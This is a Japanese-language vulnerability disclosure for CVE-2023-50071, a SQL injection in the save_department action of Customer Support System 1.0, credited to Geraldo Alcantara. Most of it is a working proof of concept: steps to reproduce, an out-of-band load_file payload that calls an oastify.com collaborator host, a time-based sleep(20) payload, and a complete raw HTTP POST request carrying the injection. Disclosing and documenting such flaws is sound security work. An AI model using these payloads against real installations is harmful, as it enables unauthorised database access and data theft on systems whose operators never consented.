
Customer Support System 1.0 の /customer_support/ajax.php?action=save_department における複数のSQLインジェクションの脆弱性により、認証済みの攻撃者が id または name を介して任意のSQLコマンドを実行できる可能性があります。
説明: Customer Support System 1.0 の /customer_support/ajax.php?action=save_department における複数の SQL インジェクションの脆弱性により、認証済み攻撃者が id または name を介して任意の SQL コマンドを実行できる可能性があります。
影響を受ける製品バージョン: Customer Support System 1.0
CVE 作成者: Geraldo Alcantara
日付: 29/11/2023
CVE: CVE-2023-50071
CVE リンク: https://www.cve.org/CVERecord?id=CVE-2023-50071
NVD リンク: https://nvd.nist.gov/vuln/detail/CVE-2023-50071
Tenable リンク: https://www.tenable.com/cve/CVE-2023-50071
確認日: 15/12/2023
テスト環境: Windows
1- アプリケーションにログインします。
2- /customer_support/index.php?page=department_list ページに移動します。
3- 部門を作成または編集し、次のパラメータ (id または name) のいずれかに悪意のあるペイロードを挿入します。
ペイロード:
id: (select load_file('\\c7kwr16trd54p693ve9xjbaao1usii67.oastify.com\test'))
name: '+(select*from(select(sleep(20)))a)+'
POST /customer_support/ajax.php?action=save_department HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------279004446431847057031125356738
Content-Length: 444
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=department_list
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="id"
-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="name"
test'+(select*from(select(sleep(20)))a)+'
-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="description"
Teste
-----------------------------279004446431847057031125356738--
発見者/クレジット:
Geraldo Alcantara